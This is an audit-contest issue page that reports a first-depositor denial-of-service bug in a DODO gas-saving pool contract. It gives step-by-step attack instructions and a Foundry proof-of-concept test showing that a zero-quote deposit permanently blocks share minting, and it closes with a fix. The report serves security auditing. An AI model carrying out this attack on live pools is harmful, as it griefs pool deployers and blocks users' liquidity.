sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

unforgiven - attacker can DOS empty DSP pools (blocking protocol core functionality) and grief the deployer #161

Closed sherlock-admin closed 9 months ago

sherlock-admin commented 9 months ago

unforgiven

medium

attacker can DOS empty DSP pools (blocking protocol core functionality) and grief the deployer

Summary

due to a bug in GSPFunding.buyShares() first depositor can DOS the pool and others won't be able to supply tokens and mint shares. with this issue, attacker can Grief pool deployers and also DOS the core functionality of the protocol(pool creation and liquidity supply)

Vulnerability Detail

the issue is that code has this checks for calculating shares:

        if (totalSupply == 0) {
            // case 1. initial supply
             shares = ..........
        } else if (baseReserve > 0 && quoteReserve > 0) {
            // case 2. normal case
            shares = ................
        }
         _mint(to, shares);

so when totalSupply>0 then both baseReserve and quoteReserve most be bigger than 0 so code would calculate shares correctly. but first depositor can call totalSupply() with quoteRserve==0 and so the "else if" conditions will be false when other calls the buyShares() the share amount will be 0 and code would revert with "MINT_AMOUNT_NOT_ENOUGH" error.

This is step by step POC:

  1. attacker (as first depositor) will send 10^5 base token and 0 quote token to pool can call buyShares(), this will result in minting 10^5 share for attacker.
  2. now pool will have totalSupply>0 and quoteReserve == 0
  3. now if anyone calls buyShares() code won't calculate the share amount in the buyShare() function because "if" and "else if" conditions will be False and as result share amount will be 0.
  4. in function _mint() because of the check require(value > 1000, "MINT_AMOUNT_NOT_ENOUGH"); code would revert. 5.so as result no one be able to use the pool.

I edited one of the project test files and created a coded POC for the issue.(run with -vvvv to see the revert error)

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;
pragma abicoder v2;

import {Test, console} from "forge-std/Test.sol";
import {DeployGSP} from "../scripts/DeployGSP.s.sol";
import {GSP} from "../contracts/GasSavingPool/impl/GSP.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/console.sol";

contract TestGSPFunding is Test {
    GSP gsp;

    address USER = vm.addr(1);
    address OTHER = vm.addr(2);
    address constant USDC_WHALE = 0x51eDF02152EBfb338e03E30d65C15fBf06cc9ECC;
    address constant DAI_WHALE = 0x25B313158Ce11080524DcA0fD01141EeD5f94b81;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    IERC20 private usdc = IERC20(USDC);
    IERC20 private dai = IERC20(DAI);

    // Test Params
    uint256 constant BASE_RESERVE = 1e5; // 10 DAI
    uint256 constant QUOTE_RESERVE = 0; // 0 amount
    uint256 constant BASE_INPUT = 1e18; // 1 DAI
    uint256 constant QUOTE_INPUT = 2e6; // 2 USDC

    function setUp() public {
        // Deploy and Init 
        DeployGSP deployGSP = new DeployGSP();
        gsp = deployGSP.run();

        // transfer some tokens to USER
        vm.startPrank(DAI_WHALE);
        dai.transfer(USER, BASE_RESERVE + BASE_INPUT);
        vm.stopPrank();
        vm.startPrank(USDC_WHALE);
        usdc.transfer(USER, QUOTE_RESERVE + QUOTE_INPUT);
        vm.stopPrank();
    }

    function test_buySharesForTwice() public {
        vm.startPrank(USER);

        // mint share while quote == 0
        dai.transfer(address(gsp), BASE_RESERVE);
        usdc.transfer(address(gsp), QUOTE_RESERVE); // zero amount
        gsp.buyShares(USER);

        // now calling `buyShares()` will revert always
        dai.transfer(address(gsp), BASE_INPUT);
        usdc.transfer(address(gsp), QUOTE_INPUT);
        gsp.buyShares(USER); // will result in revert
        vm.stopPrank();
    }
}

Impact

attacker can block pool creation and usage by back-running calls to GSPFactory.createDODOStablePool() and perform the attack for newly deployed pools. it would grief the pool deployer and also DOS the protocol core functionality(users creating and using pools permissionless).

also attack is possible for the pools that their liquidity become 0 in the future(the requirement for attack is 0 share amount)

because for one combination of the parameters there could be on pool by DOSing that pool, the pool creator can't create that same pool(same parameters) again.

Code Snippet

https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L56-L79 https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPVault.sol#L295

Tool used

Manual Review

Recommendation

code should make sure first depositor won't send 0 quote token in buyShares() function:

    if (totalSupply == 0) {
            // add the below line
            require(quoteBalance > 0, "ZERO_AMOUNT");

Duplicate of #49